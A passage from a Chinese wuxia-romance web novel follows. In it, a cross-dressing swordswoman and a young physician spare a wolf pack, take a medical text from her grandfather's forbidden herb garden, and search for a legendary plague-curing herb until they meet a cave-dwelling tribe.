可是狼还是紧追而来,竟有的跑得比丹儿还快,一下子扑上来。谦月用手一压千儿,自己却被扑到了,从马上坠了下来,还扯下了挂在马上的弓箭,临落下来前,她喊了一声:“不要回头,快走!”摔在地上,衣服被抓破了,多亏穿了铠甲,没有受重伤。她有些生气,这群畜生太咄咄逼人了。想着,双手一支地,倒立的飞起来,一转身便又平稳的立于地上。拿起弓箭,一拉弓钩上了四只箭,射了出去,气势千钧,箭无虚发,正中喉管,那群饿狼当场毙命。谦月的箭术可是达到了百步穿杨的境地,本来是为了上阵杀敌用的,但终究只是英雄无用武之地罢了。 狼死伤一片,有的箭连串多狼。也有的为箭气所伤,奄奄一息。此时,谦月在寻找狼王,她并不想将它们赶尽杀绝,再说箭也不够用了,只有一支了。终于,看到了,远处似运筹帷幄的竟是一只罕见的雪狼,它通体雪白,眼神坚毅,腿上已经被谦月所伤,看来它移动挺灵活的,居然没死。但是如果用完整的一支箭射它,就必死无疑了。只要射杀它就可以了。谦月,凝视了片刻,决定放箭了。但是,被喊住了:“不要,放过它。”一回头,正是千儿,骑着马匆匆跑来。“不是让你快走吗,为什么又回来了?”谦月带着责备的问。手里的箭却没有放下。 千儿跑过来,急切的说:“你没事太好了,但请不要杀害它。”谦月心中一暖,原来是担心我呀?可是为什么要护着这饿狼首领呢?“不行”谦月果断的说,“它会害人的,非除不可。”箭在弦上,千钧一发,那首领似乎并不害怕,淡定的看着谦月,等待死亡。谁料,千儿突然跑过来,挡在箭前,谦月一愣便放松了已如满月的弓,没有射出。而千儿也趁此刻时机,一把上前抓过箭用膝盖折断了,然后一转身跑向那只雪狼。到了它跟前,它也不闪不避。千儿从背上的袋子里取出药为它敷上,并且将怀中的一块手帕撕成两半,用一半为它包扎。 一切都静止了,所有的生灵,没有狼再攻击她们,好像人世间再也没有了伤害。 千儿好像和它说了什么,它舔了舔千儿的手,就带着剩下的狼走了。千儿,低着头慢慢走过来,谦月,很好奇的望着远去的狼群。“为什么”她轻轻的问着,千儿温柔地说:“它是一只有孕在身的狼,现在瘟疫横行,人都活不下去了,它们也就无处可去,跑到这来了。无论如何孩子和母亲都。。。。。。”“只怕这是纵虎归山,遗害无穷呀!”谦月叹着气说。千儿忙摇头认真的说:“不会的,不会的。狼这种动物很讲义气的,不是实在饿的不行了,是不会轻易伤人的。”是吗,谦月无奈地看着她,明明刚刚才被它们追杀,这么善心大发的原谅它们是不是太傻了。也许也觉得欠谦月的,千儿低下头说:“谢谢,不,对不起。。。”接着反复说了几个词都无法达意。 “不用了,你都原谅了,我可没那么小气。而且,我的箭是不会伤害像你这样的美人的,啊”,千儿一拳打在她腹部,谦月没觉得太痛,但还是装着叫了一声,“你谋杀亲夫呀?”千儿又举起了拳头,谦月忙笑着摇摇双手。“但是,你居然折断了我的箭,你的力气也够大了。”谦月望着千儿眼神柔和,千儿看了看地上的断箭,捡了起来,用剩下的一半手帕,缠在一起,笑着还给了谦月,还一边说:“别再生气了,小气鬼。”谦月也笑了,真是单纯的让人无语。“断了的东西竟补得回。”谦月这样想着。 突然千儿大喊一声:“不好,村里的人还等着我呢!”说完就要往山下跑,但谦月却一把拉住了她。原来,谦月随身也带有一些名贵的药,那是从家里偷拿的,闯荡江湖以防万一之用。昨天,看村民可怜,就分给了她们,就算不是对症下药,至少有保命之效。所以,三天之内,她们都不会有事的。“当务之急,不如先找个地方,把衣服换了,还有清理一下我们身上的伤口。”谦月的衣服本是湿答答的,现在更是褴褛一身了,而且虽然没有受大伤,但是身上的划痕也是不少,千儿也是这样。 达成一致,千儿说:“跟我来”,就带着谦月往竹林里走去。一路上景致都很好美,各种彩色的鸟儿飞间其中。处处青色,处处鸟鸣。使人心情舒畅。 终于到了,没想到竹林深处竟有这样一座建筑,由碧绿的珀竹修筑的小屋-----魄明居。更难得的是里面的陈设也全都由七节竹制成,别具匠心。千儿,从柜子里取出了两套衣服,一套男装,一套女装。用料华贵,但样式有些旧。难道是她爹娘的,正这样想着,千儿,便给了肯定的答案。谦月出去站在门口,千儿在里面大喊:“你要敢偷看我就杀了你。”谦月大笑:“我才不会那么着急呢,反正你早晚是我的娘子。到时。。。。”没说完,就被人从后面打了头。“再敢胡说,我还会杀了你的”。生气了,谦月笑着柔柔头转过身来,然而竟又呆住了,眼前的女子比起刚刚更是美艳动人。 她,还是做女人好。谁拥有她都是福气! 千儿被看得不自在了,又用手拍了谦月的额头,“该你了,”谦月恢复了神志嘟囔着“你也不要偷看呀!”千儿笑了,“你还怕呀?”谦月说:“好,你可不要跑呦,”说完一把将衣服扯下,只听得千儿大叫着捂住眼睛。谦月笑着说:“喂,不是不怕吗?女人”千儿又气得跺脚,“才不是呢,你这个没有节操的男人。我不怕你。。。。。。”一边说,一边放下手。原来,谦月身上还有一件银色的凯甲,根本没什么失礼的,到是谦月在那边笑得很灿烂。气煞人也。 但千儿看她身上的伤,全是为了救自己所得,而且又因为自己放过了令人亦怜亦恨的狼首领。此刻怎么忍心再和她闹别扭呢? 千儿,拿来了药箱,趁谦月没穿上衣,为她清理手臂和脸上的擦伤。谦月,安静而温顺的坐着,用手玩着千儿还来的断箭,解开手帕,上面有一个“芊”字,“原来,你是这个”芊”字呀?但可惜只有一半了,无法知道你的全名了”,芊儿笑了,“看你的箭头上也刻有一个“月”字,想必你的名字也是它吧?”是的,这两个人,分别留下了叶月和孙芊儿这两个名字给彼此。 天降奇缘,萍水相逢,她们都隐隐觉得彼此之间的朦胧与真实,待日后再解释吧。对不起,她们同时默念,心中迫切的希望可以成为知己!但也许还不是时候。 芊儿温柔的治疗让谦月心中暖暖的,她默默的感谢老天让她遇到了这个女孩儿。穿好衣服后,天色也晚了,她们说好明天一起去镇上看看病人。谦月折下箭头放在荷包里,递在芊儿手里说:“这是回礼,你的手帕我不会还你了,算是定情信物好了。”芊儿笑了笑,一把又将她推到,大喊道:“你去死吧,”又把荷包丢还给她,自顾自的去睡了。 夜里,在一张大竹床的两边地上睡着她们两个人。原来,芊儿为了报她白天的恩,非得把床让给谦月,而谦月也大喊着:“我像是那种差劲的人吗,怎么可能让我的女人睡地上呢?”最后双方僵持不下,就各自睡在地上了。过程中谦月挨了不少“打”,晚上躺在地上,她心里嘀咕着,老天爷,她太野蛮了吧。。。。。。 尽管,此刻的她一直在想,反正都是女孩儿,不会有什么的,而且逗她时,她的样子真是可爱!一定是因为自己从小没有姐妹,也没有朋友的,所以对她才这样亲切。更何况,芊儿一定是烦死自己了吧。所以,她望着床那头芊儿的背影,怀着满心自以为肯定的“一定”,笑着安然睡去了。 19、寻心 昨夜谦月睡的很香,而且这天早上的醒来,也远比昨天要美好的多,是被一缕缕饭香唤醒的。真的好久没吃到这样可口的饭菜了,谦月喜欢口味重的菜,所以正中下怀。问及原因,芊儿说:“一来是我也喜欢重口味,再者,你的眼睛下微露的淡青色,说明你喜味重之食。不过这也没什么害处,多喝点甘露茶就行了。”“哇,你好厉害,只是看就可以猜到了!这就是“望闻问切”之法对不对?”谦月瞪大眼睛好奇的问,芊儿点点头,谦月接着问:“那总体上看,我能活多少年呢?”她还是想起了大娘的话。 芊寻一边吃饭一边漫不经心的回答,“看你健康、灵活得像条猎犬,活个一百岁没问题的!”说完就笑了,谦月叹口气,“我是受到夸赞了吗?对了”,谦月突然问,“那依你看,这次的瘟疫。。。。。”芊儿沉默了,放下碗筷,转身走到窗前,叹气道:“很难根除,除非找到还心草!但希望太小了。”谦月笑着抱过她来,“我们尽力去做就好了。娘子!”芊寻点了点头,随即用胳膊肘兑了谦月一下,谦月叹了句:真冷酷。但是她很开心,芊儿的心情似乎好多了。 她们都很担心疫中的人们,所以就尽快赶往乌云镇。到了镇里,还好没有什么新的死亡和染病消息。芊儿领着谦月到了那个大叔家,探望他们的情况,谁知他见到女装的芊儿,忘情的说:“小姐如今这身打扮,真是和少夫人一模一样,一样美丽,一样端庄善良!”说着眼里竟有了泪水,倒是躺在床上的老婆婆忙打圆场说:“死老头子,没看到叶公子也来了吗?还不快召应一下!”这时老人看到了身旁陪着的谦月,会心一笑。无法久留于此,她们查遍了整个镇子,不乐观呀!虽然疫情没有扩大,但是丝毫没有好转的迹象。 原来,这次瘟疫是由北方蛮夷的征战死者没有得到妥善处理引起的,加之,酷暑使得毒素扩散,一发不可收拾,芊儿已经想尽一切办法,找了一些药物的替代品,几乎可以制出破疫之药,只是差“还心草”,这是传说中的一味药:相传,神农氏尝遍百草,最终死于断肠之毒,所以断肠应该算是是百草的终结。但是,人们发现他的尸骨时,只见他手中握了一颗鲜红的果,并在展开的百草经手稿上补写了两种药------第一百位的断肠和第一百零一位的还心。前者的功用写得详细,而后者,却只有:可救吾者,斯也;此万物之更始。奈何得之不易,后人切勿妄寻。 接着就没有了。因为附近也没有这种红果,所以人们对此一头雾水,只得将它和神农一并下葬,而后人编辑的《百草经》也将还心勾去了。但是,它一直是千古行医之人的探寻目标。较有成就的就是孙思邈了,他在《千金方》原稿中写到过,还根据传说画出了还心草的插图,并推测出此药有清除体内陈腐之物的功效,无论多么严重的伤患,它都可以是身体更生,达到使天地间万物重新展现全新的气象。 用于治这次的瘟疫再合适不过了。但是,真的可以找到吗?芊儿也只是趁爷爷不注意,看到过一次《千金方》的珍本,那可是传家之宝呀。此刻她皱着眉头,自言自语的说:“连万生园也没有的草药,到哪去寻呢?它真的存在吗”谦月走过来,轻轻的说道:“你怎么想就怎么做吧,我会帮你的。尽我所有的力量。”芊儿,回过头,看着一脸认真但眼光温柔的谦月,终于点了点头。两人又一次回到了老伯家里,芊儿说:“成爷爷,我知道您一直收着万生园的钥匙,除了爷爷就只有您可以帮这些人了。我和叶公子会去拿一些草药和《千金方》古本,然后一起去寻药!”老伯看了一眼谦月,有些犹豫的说:“小姐,您的身份,公子他知道了?”芊儿的脸向谦月转了一点点但没有转过来,微笑着说:“八九不离十了,请您快些交给我吧!我们要尽快做好这一切。成爷爷,求求您。。。。。。”说着芊儿,跪在地上。 老伯和谦月都忙扶她,老伯哭着说:“老朽怎么受得起呢?当年少夫人少爷相继暴亡,老爷性情大变,赶走了我们,我们也不敢有丝毫怨言,因为我们欠的情还没有还完,我一直住在离你们不远的地方,想着有朝一日有用得着我的时候。如今,小姐心怀慈悲,正是孙家之福。我定当全力相助。”说着,便从土炕下找出了他已藏了十六年的百合匙,颤抖着交给芊儿。临行前,他最后嘱咐了一句:“万不可让外姓人进万生园,一切随缘便可。” 芊儿和谦月拿着钥匙就往绛雪阁赶去。 老人,望着她们的背影,心怀忐忑的说“只怕,今后要纠缠不清了,但愿她们好人都有好报。”接着,他跪倒在地双手合十,面向苍天:“我孙成愿折寿十年,请老天爷庇佑这两个孩子,让他们解救万民,并且她们自己也可以得到幸福。”说完,便磕了三个响头。 一路上,芊儿在谦月怀抱里,她们骑着马拼命赶路。芊儿问:“你猜到我是谁了吧!”谦月嗯了一声,雪芊寻,雪医唯一的孙女。从她刚刚无心的说出的绝世的药理知识,从她对雪医的了解称呼,从她与老管家的对话,都无疑的证明着她是谁!“对不起,我说谎了”芊儿轻轻的低下了头,谦月笑了一下:“现在赶路呢,以后再说吧!”马在竹林中飞快的跑着。。。。。。。 终于到了绛雪阁,由芊寻带路,一切都很顺利。借着月色,她们来到了位于深处的万生园,是一座大的藏药阁和藏书阁,而且还种着很多药用植物。到了门口,芊儿让谦月在外面等待,自己悄悄溜了进去,这里是禁地,除雪医外无人敢入,所以四周静的有点恐怖。谦月四处望着,正觉得应该没什么时,突然,不远处传来了脚步声,步态有些凌乱,看来是喝多了。不好,他向万生园走来了。 芊儿还在里面呢,刚刚太匆忙了,忘了说好暗号什么的,这下怎么通知她呢,谦月一跃上了屋顶,但又犹豫了,自己答应了外姓人不可进入,怎么办呢。想着,想着那人已走进了,是一位白发白须飘然如仙家的老者,加上他手中拿着酒壶,脸颊红润,竟真的如同神仙下凡一般,但是很显然,他就是雪医本人了。糟了,芊儿面对得了爷爷吗?着急,但也不能冲动,所以谦月只能在屋檐上静静的等待着。 20、心的旅程 雪医推门进了园里,大概是喝多了,他竟没有在意门根本没有上锁。只见他,来到园中央。一边喝着酒,一边流泪。谦月没看到芊儿,想必是还在屋子里藏着。一切只有静观其变。 雪医,突然对着天大喊:“为什么,为什么,要有这样的诅咒,凡是进了这万生园的外姓人就一定要属于孙家。否则,孙家就会遭受灭门之灾。这是真的吗?因为这个传说,我一定要碧清嫁给誉明,最后换来了什么,她们都死了,我们孙家也绝了后。”这里好像有个很大的隐情,谦月想着。突然,屋里传出了一声响,雪医急忙跑过去推开门,见到芊儿拿着一个袋子,泪流满面的望着他。他破口大骂:“你在这里做什么,你这个灾星,你害死了你娘,也害死了我儿子,害我们孙氏绝后;如今你又来偷取传家之宝,你,你。。。。。。”说着雪医向芊儿逼近,芊儿一退刚好撞倒了长明灯,屋里全是书籍和草药,所以一下烧了起来。而芊儿自己也被爷爷抓住了,雪医气的青筋爆出。但是,突然他不动了,谦月从后面点了他的穴,没办法了,谦月不得不进园来。她拉着芊儿带着雪医往外跑,但是,雪医说什么也不肯,还骂说:“你这小□□,居然勾引外人,谋夺宝物,你们走吧,我宁可死也要和祖宗在一起。做鬼。。。”谦月把他扛到了园里,转身去追又冲回藏药阁的芊儿。 芊儿赶忙用衣服灭火,谦月拉她快逃,但是她不听,哭着说:“我对不起爷爷太多了,所以更不可看着这里被毁掉,爷爷会伤心死的。”一边流着泪,一边救火。谦月见她那执着的样子,知道阻止不了了,就跑出去取水进来,把芊儿挡在身后。然后用伊帝功的内力凝取了水的冰寒之气,向火海推掌,一片清凉冲出灭了一部分火,然后,在一次次的运功。终于,在没有惊动下人之前,解决了险情。 芊儿跑过来为她擦汗,目光里充满疼惜。但很快,她们来到园里,雪医面前,芊儿跪在他面前说,“芊寻,对不起爷爷,但是,此次真的是为了那些被瘟疫折磨的百姓,爷爷求您原谅我。”雪医还是在骂她,谦月也跪在地上,对雪医说:“今日晚辈多有冒犯,他日必定登门谢罪。请你相信您的孙女芊寻。我们会尽力寻找还心草,解万民之苦。不会玷污您雪医之名。”说完,她们一起向雪医一拜。谦月还将自己的外挂盖在雪医身上说:“你老先忍耐一下,一会就会有人来接您了。穴道也会在半个时辰后自动解开”。然后带着芊儿往外走,谁料身后的雪医大声说了一句,“你小子要好好照顾芊寻,还有,别再让我看到你们。” 芊寻身体一颤,但还是随谦月走了。离开前,谦月还故意引人到万生园去了。月光下,她们在马上。本该是一路狂奔的,但是芊寻哭的太厉害了,谦月便放松了缰绳,慢慢的在林中走着。芊寻轻轻的说:“我再也回不来了!我没有家了。” “芊寻”谦月温柔的唤着她的名字, “不要叫我芊寻,芊寻,我不想做雪芊寻。为什么,我没有资格继承孙谦语这个名字,为什么为什么?为什么我是雪芊寻?”芊寻声嘶力竭的哭喊着,颤抖着。 谦月把怀里的她抱得更紧,轻轻的在她耳边说:“芊寻是个好名字呢,一听就是个美好的女孩儿。其实,不管你姓甚名谁,你继承了多少孙家的医术,你都怀着一颗菩萨般的心不是吗?你救了很多人。我,喜欢这样善良的你,喜欢这样的雪芊寻。” 芊寻终于渐渐的停止了哭泣,慢慢的讲到了自己的身世:母亲萧碧清是爷爷的义女自幼和父亲孙誉明一起长大,她们在医学上都是奇才,所以一并被爷爷介绍到宫中分别当了男女宫众的御医。后来,母亲和父亲为了进一步加深造诣,偷偷的进了万生园,爷爷知道了无论如何也要母亲嫁于父亲。本来母亲是拒绝的,但终于有一天被父亲感动了。也就在她们成婚不久,爷爷就辞了官举家搬到了乌山。直到芊寻出生,一切都是平静而美好的。但是芊寻从一降生好像就生了怪病,母亲为了救自己死了,父亲因为伤心也郁郁而终。留下了,不满一岁的芊寻。也许是因为失去了唯一的儿子,爷爷恨死了孙女,认为她是灾星,加之是女孩儿,所以没把芊寻当作传人,甚至家谱所传的姓名都未给予芊寻。当然,这也许不是全部的真相,因为这些事是芊寻自己打听来的,老一辈的下人都被爷爷赶走了,新来的下人对自己的事更是知之甚少。但是毕竟是看她可怜,爷爷还是尽力调教好这个孙女,至于医术,他本来只是教给芊寻入门的一些浅显的知识。可是芊寻受了父母的遗传,不但很喜欢学医,而且天资过人。再经过自己努力拼命的偷偷学习,最后成就竟然与爷爷不相上下了。 谦月静静的听着,突然说:“芊寻,对不起。我对你说了谎,其实我的名字是曹谦月。”接着她一五一十的把自己的身份告诉了芊寻,除了自己是女扮男装这件事。这是她负有责任的秘密,就算是梦里她也不能承认。 芊寻平静的听着,目光变得更加柔和,打了谦月的肩一下,还是那样轻柔,“我欺负你那么多次,早扯平了。走吧,谦月兄弟,我们有好多路要走呢!我要在途中找到属于我自己的家呢!”芊寻望着月亮,笑容中却还有一丝茫然。 “我会一直保护着你的,直到你找到可以让你自己的心安定的家”,谦月话语轻柔,但是却像誓言般掷地有声。 “好的,一言为定了。”芊寻笑了,“咦?对了,你刚刚说的婚礼,不去可以吗?” 这可是问住了谦月,“本来,他的喜事我是一定会到的,可是”原来,那位兄弟将在婚礼上向所有教众宣布谦月的宫主身份,谦月可不喜欢出风头。再者,新娘子,是当年自己和哥们一起救得,原本还哭闹上吊的逼自己娶她呢。后来,好不容易才连哄带骗的同意嫁给了教主,坦白的说,谦月不想因此伤了三个人的情谊,所以才一直逃避。 “哈哈哈哈。。这样的艳遇,你何苦拒绝呢?而且,没想到你武艺高强,居然被儿女私情吓成这样,哈哈哈”芊寻笑弯了腰,谦月无奈地说:“成亲当然要和自己喜欢的人了,怎么可以乱来呢?” “那,”芊寻突然变得沉静了,问道,“你喜欢什么样的人呢?” “不是刚刚才说过嘛,”谦月笑了,“我喜欢你,雪芊寻”。“诶呦,谋杀亲夫呀!”这句话的点击率还真高呀,同情谦月。她又挨打了。 芊寻说道:“老是没句正经话,讨厌死了。”但是接着不知为何芊寻问出了一个心中突然出现的,但自己也觉得莫名其妙的问题,“假如,你喜欢的女子,你的兄弟要娶她。到时,你还会像这此一样相让吗?” 谦月沉默了片刻,“要看她的心了,喜欢我兄弟的话,我就只有祝福了。” “那如果,她喜欢你呢?”芊寻接着追问,“你会如何,快说呀?” 谦月输了口气慢慢的说:“拼了命,也要和她在一起。我一定要让她幸福。” 芊寻笑了,“大情种,这个就对了,女人是很脆弱无助的。无论外表多么精明能干,终究也逃不过情字的。为了情,她们不怕难,更不怕死,唯一怕的只是心爱的人放弃,不管为了什么理由,都是她们最恨的。所以,也许到时只会一死了之了呢?” “所以呀,我不会放弃的,”谦月笑着说,但是她心里并不是这样理解的:如果是地狱,难道也要带着爱人一起吗,当然不行。让她幸福的活着就好了。但这些问题离自己还很远吧! 芊寻低下头,接着又抬起看着月亮轻轻的说:“如果是真的,那你的爱人真是幸福。” “所以说嘛,芊寻,开心起来,你会是幸福的人呢!哈哈”谦月有挑逗芊寻了,当然等待她的又是打闹一番。 。。。。。。 马儿在山林中奔腾,谦月本能的抱紧芊寻,而芊寻则温顺的靠在谦月怀里。此时,谦月无声无息的笑了,因为她感到芊寻的脸上似乎不再有愁容了。 月光下,马蹄离乌山渐行渐远了,可是马上两人的心却渐行渐近。怀抱着使她们足以融入彼此的心灵。但是,谦月知道,自己曾经自以为是的想法已经崩毁了,自己的心里有了雪芊寻,这让她陷入了无尽的彷徨之中。她明白,不可以轻易在顺着心中的渴望去逗芊寻了,不可以让芊寻喜欢上自己。因为,她害怕她们的未来会像她们寻找还心草的旅途一样,不仅希望渺茫,而且惘然不知前方的路会在哪里? 21、心 “芊寻,别担心了,我们不是没事了吗!来吧,听我吹奏一曲!”谦月靠在芊寻的背上,笑着说。 随即悠扬的笛声飘荡在山谷之中,夕阳下,留下了芊寻与谦月的剪影,背靠着背坐在一块山石上。谦月擎着横笛闭目演奏,芊寻也似是解脱一般,全心全意的依着谦月,闭上眼,眼底的泪迹还依稀可见。两人任由晚风轻撩发丝,静静的享受这刻宁静。春天的痕迹很是明显的走远了,离开乌山时还是乍暖还寒时候,转眼间,盛夏风光早已尽收眼底了。 周遭的碧绿野草被清风弄得时低时高的交替弯腰攀比,还有黄莺招朋引伴的飞来在她们头上盘旋,似是被这平和的旋律所吸引,天高云淡,只有西边日头下有几片红霞托着,若没了那些自然生灵的活动,此情此景还真像是一副静谧的山水田园画,而二人则是其中看似平凡却又最亮丽的一笔。 一起寻找“还心草”已经数月了,虽然至今还是没有一丝线索,但也不是一无所获,凭着芊寻的医术,谦月的身手,她们一路走来,帮助的人不计其数,这让两人很开心。当然这当中也遇到过危险,但两人携手大多就可以化解,就算非常难对付的,也幸得一位黑衣贵人相助,这个人总是暗地里护着谦月。虽然谦月很好奇,但始终没有机会问清。 有时芊寻会沮丧,谦月就会吹笛子哄她,真的可以让她像小猫一样听话呢。今天,当然也不例外。 “你真是太傻了,如果你死了,我。。。。”芊寻哽咽着说,谦月停住了吹笛。转过身,看着芊寻颤抖的背影,好想轻抚她的头发。但是谦月迟疑了,眼前的人,是她想触碰,而不得触碰的;想拥有而不得拥有的。轻轻的叹了口气,谦月努力笑着说:“无论是谁都会那样做的。。。来吧,我们继续赶路吧,大难不死必有后福,我预感到好运气要来了,应该快找到了吧!”旅途中有好人,也有坏人,会遇到好事也会遇到坏事。但是,谦月矢志不渝的拼死护着芊寻,让她不受到一丝伤害。 只是谦月的心里越来越矛盾了,芊寻是不可能跟自己有什么未来的,自己唯一能做的只是陪着她,伴着她,保护她,直到芊寻不再需要她为止。所以,一路以来谦月心里甚至有一点点自私的想法,找不到还心草也好,这样可以一直和芊寻在一起了。但是,她只能有意的和芊寻保持好适当的距离,这些都不住的撕扯着她的心。咫尺天涯,脉脉不得语。这种惆怅谁能理解呢! 到了柳州城,也没歇脚芊寻就拉着谦月跑到山里来寻药。终于可以高兴一下了,此处地形和书中描绘相似,感觉还心草就在附近了。但是天色也晚了,夜里走山路太危险了。而这里又前不着村后不着店的,所以只好有找个山洞休息了。一直以来,她们二人可以说是日夜奔波,翻山越岭。在荒山野岭露宿早是家常便饭了。想到这里,谦月可是忍不住笑意了,虽然,一路走来很累,但是,这样更开心。有时太累了,她们就互相枕着彼此的胳膊睡着;太冷了,就相拥而眠。经常,谦月在夜里醒来,静静的端详身旁的芊寻,总是会让她失了心神。只是,这一切她都得深深的埋在心里。。。。。 月光下,她们背靠背躺着,如此的亲近,可以感觉到彼此的心跳。谦月心里好开心,但又被莫名的痛折磨着,无法入睡。离还心草越来越近了,旅行的终点即将到来,是不是自己也将和芊寻分开呢?怎么愿意就这样分别呢? “睡不着吗?”芊寻突然问道,“怎么了,我们要养好精神才行,也许明天就找到了,真好!” 谦月笑了,“是呀,到时人们就有救了,你也可以回家了,到时。。。。。”虽然声音在笑,到时,心里已经快死了。可是,一双温暖的手臂环抱住了谦月有些颤抖的身体。谦月有些惊异,但是,不敢回头,即使是梦境,也不想打破。感觉到,芊寻的呼吸了,热热的扑在自己的脖颈。而且,手臂将她越抱越紧。虽然,穿着冰冷的纤云甲,但是,谦月还是被芊寻身上透来的温暖包围着。 “谢谢你,一直以来,这一路上。”芊寻温婉的说着,轻轻的,真诚的,“绛雪阁,我恐怕是再也回不去的了,这天下之大,我只求能找到一个可以帮我保留心的地方住下,找到一个可以让我住在他心里的人,就这样过一辈子。。。。。。。” 这样的温暖让谦月心醉,但是自己该以什么样的身份留住芊寻呢,曹家二公子,还是二小姐。真是可悲可笑,芊寻应该会遇到更好的夫君的,她的幸福不是一个女人该给的。她会喜欢我吗?一直以来,总是在气她,很讨人厌吧?也许,今天的芊寻是因为和自己一样,只是一直没有玩伴,所以把我当成了可以依赖的人。 都是乱想,无论答案是什么,都是错的! 谦月开始装着打鼾,芊寻听了,笑了,轻轻的,“好好睡吧”同时头向谦月的背颈更近了,然后才安然睡去。听着芊寻平稳的呼吸声,谦月下定决心,找到还心草以后,就消失,记得自己曾和芊寻谈过很多话题。双方都曾说过,时间是可以抚平一切的良药,通常三年就会忘了伤和疼的。希望如此,芊寻你一定要忘了我。这样想着,谦月闭上了眼,只是月光下,眼角留下的晶莹泪珠还在不住的闪着。 不知不觉月光换成了阳光,整装出发。芊寻和谦月怀着不一样的心情,并肩往树林深处走去。根据书上的记载,还心草应该会长在树比较茂密,但又阴凉的地方,所以,一定是最大的古树下。一路上,野花争奇斗艳的开着,芳香袭人,花间蛱蝶翩翩起舞。鸟兽也不怕人,竟然完全当她们不存在一般的悠闲的各忙各的。真是一派和谐的篇章。只是越往深处走,周围的雾气也越来越重,渐渐的快看不见眼前咫尺的事物了,所以谦月和芊寻紧紧牵着手前行。时不时的还会被呛得咳嗽起来,芊寻说:“这瘴气,让人头痛,烦躁,我们要快些,否则,会有不好的是发生吧!”谦月点点头,她的确也有这种感觉。 在雾中艰难的走了不到一炷香的时间,终于找到了一颗粗的不得了的古树,树身粗的百十人合抱不来。枝叶茂盛,好像风都无法使它有一丝一毫的颤动。。。。。。芊寻和谦月围着古树开始分头寻找,皇天不负有心人,谦月在树的阴面,发现了结着小红果的草。真是太好了,终于找到了,可是谦月的心却突然被一闪而过的悲伤刺痛了,想不到,这么快就要分开了。 谦月几乎是跌坐在树下,她喘着粗气,晌久,她才回过神来,深深的吸了口气。然后“开心”的呼喊:“找到了,找到了,芊寻,我找到了,快来看啊!”说出来了,心痛使呼吸都变得很困难。 芊寻急忙跑过来,看着地上,蕙心的笑了,开心的象个孩子,虽然这还不是还心草的本来面目,但和神农拿着的红果一模一样,相信真的还心草很快就可以找到了,“有救了,我们做到了,谦月,我们做到了”,芊寻拉起谦月,转着圈,笑着,舞着。 原来,开心时的芊寻是这样的美,和愁容时的她,拥有着,不同的美。望着,眼前这个笑靥足以撼动春秋的雪芊寻。 谦月的眼睛模糊了,她忍着泪,有些颤抖、有些哽咽的说:“芊寻,我要走了。”她看着芊寻,眼里有憾,有愧,有痴。。。。。 芊寻没有停止笑,可能根本没有理解谦月的意思,反而更开心的说:“是呀,我们一起走,去救人,游遍天下。然后,找个地方安定。。。。。。” “不,不会了,我要一个人走,从今往后,你也只有一个人了。”谦月一动不动的看着芊寻,眼中闪着泪光,但是决绝而坚定。 “你在说什么,你要去哪里,我们不是要一直在一起的吗?你是我唯一的朋友,我不管,不管你去哪里,我都要和你一起去。谦月,你怎么了,我做错了什么嘛。你别吓我,答应我,无论天涯海角,我们都一起走,好不好?”芊寻突然,紧紧的抓着谦月的手,急切的说着。她看着谦月的眼睛,希望从中得到肯定的回答。 但是谦月摇摇头,接着还是一动不动,她不忍心推开芊寻,但是,也不能许下承诺。终于,只是说:“对不起,不要再这样下去,早晚会伤害到你,我的愧疚也越来越深。对不起,一直以来我让你误会了。没有我,你会更快乐,总有一天,你会明白,你的未来,不属于我。。。。” “不,我要和你一起,我们一起走,马上离开这里,一定是这瘴气,让你不舒服了,才说了胡话,我们这就走,一起。。。。。。”说着,芊寻拉着谦月转身欲往来时的方向走。 “一起走?做梦吧。你们俩,谁都别想离开这里,除非。。。。。是尸体。”突然,传来了这冷冷的威胁的话语。 两人循声望去,发现在不远处出现的,朦胧的身影。。。。。。 22、雾台 谦月下意识的将芊寻挡在身后,警觉的凝视着前方,同时在掌心里运了力。只见那片朦胧越来越近,终于到了眼前。 诶!好矮小的一群人呀!他们披头散发,手持木质石头枪,面色青黑,穿着的衣服,不对,不能说是衣服了,是马甲,但是仔细一看好像是用树藤编成的或者是兽皮制的。怪哉!这是哪来的原始人,拿到这是世外桃源! 当然不可能了,他们的眼神可不是太友好?双方互相打量着,谦月觉察到谁是他们的头儿了,便对他问话:“在下曹谦月,洛阳人也,和朋友一道来此寻药,意在救人,并无冒犯之意,请诸位多多包涵。放我们离去。”说着谦月抱抱拳。 “不可能,不管你们是干嘛的,来了这就别想活着离开!”那位留着山羊胡的族长,捋着胡须大声的说,似正气凛然,“两位还是乖乖的留下吧!来人,带他们回穴营。”说完,就有几个略壮实些人向谦月她们走来,手中握着武器。 谦月一挥手,便用掌风将他们拂了出去,“难道你们以为,可以留得住我们吗?”霸气十足,拉住芊寻的手,笑着说:“我们走!” 谁料身后传来了扑通一声,并传来一个孩子的哭喊声:“蛇,爷爷,救我,好痛。。。。。”谦月和芊寻同时回头,只见一个不大点的孩子,倒在地上,抱着右腿打滚。山羊胡忙跑过去抱起孩子,“虎儿,谁要你跟着来的,不是告诉过你,神坛周围不要轻易过来吗,这附近毒物甚多,大人都危险,你这孩子,怎么不听话呢,”一边说,一边急着检查伤口,竟然哭了出来,“是七步蛇,怎么会,你为什么不可听话,我失去了你爹,你现在也要离爷爷而去吗?虎儿”那群人终于不在管芊寻二人,只是在族长旁边围着,有的人还哭着。 芊寻和谦月对视了一下,也悄悄的走了过去,芊寻听说是七步蛇,微微输了口气。看着那孩子呼吸越来越弱了,芊寻看了谦月一眼,谦月笑着点了点头,芊寻忙冲过去,给孩子喂了颗药丸,又在伤口处散了些白色的粉末。众人都愣住了,仿佛静止一般,没有人阻止一切。都只是盯着虎儿看。 不久,那孩子的脸色好多了,终于又张开眼睛了,眨呀眨的,伸手抹去了族长脸上的眼泪,笑着说:“爷爷不哭了,虎儿错了,虎儿以后一定乖乖。。。。”老族长一把将他再次紧紧的抱在怀里。 芊寻转身朝谦月走来笑着,有救了一个人。而且这群人应该不会在阻止她们离开了吧!但是,正当她们走出不到一丈远时,又听到扑通一声,“恩公千万不要离开,有性命之忧”,再回首,是老族长跪在地上,叩首说:“前面的瘴气,是进得来,出不去的!还是请二位恩人先和我们回营,听我慢慢说清!” 哦?谦月和芊寻吃了一惊,将信将疑的被他们迎进洞穴,呵,还停留在穴居时代呢!坐定,便听族长讲起了,他们忘仙族和还心草三千年的故事! 